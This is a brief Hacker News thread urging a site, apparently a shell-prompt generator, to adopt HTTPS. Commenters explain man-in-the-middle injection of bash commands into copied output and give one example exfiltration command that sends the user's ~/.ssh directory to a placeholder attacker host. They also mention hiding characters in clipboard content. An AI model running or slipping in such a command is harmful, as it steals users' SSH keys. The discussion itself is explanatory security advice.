4 ms·
Normally I don't post much about how a site should use HTTPS on HN, but for this specific instance I think it's important.
by ddtaylor 5y ago
Normally I don't post much about how a site should use HTTPS on HN, but for this specific instance I think it's important.
- teknopaul 5y agowhy?
- roboticmind 5y agoI assume they are saying that because you wouldn't want something where someone could do a MITM and insert arbitrary bash commands through $() or other similar things
- chrisshroba 5y agoIf the outputted prompt contains something like `scp -r ~/.ssh evil.com`, folks may not notice or be savvy enough to recognize that it is malicious. A MITM attacker could quite easily implement this.
- ddtaylor 5y agoIt's also possible to hide the characters entirely so they don't appear visually but are part of the clipboard.
- freedomben 5y agoI agree. If the maintainer is here, you can use certbot to add HTTPS easily on your existing Apache 2/Debian stack. If you're on Stretch or Buster the official instructions are the same: https://certbot.eff.org/lets-encrypt/debianstretch-apache https://certbot.eff.org/lets-encrypt/debianstretch-apache One note: I hate snaps and don't use them personally, but it would make it very easy for you to add HTTPS without changing your existing stack.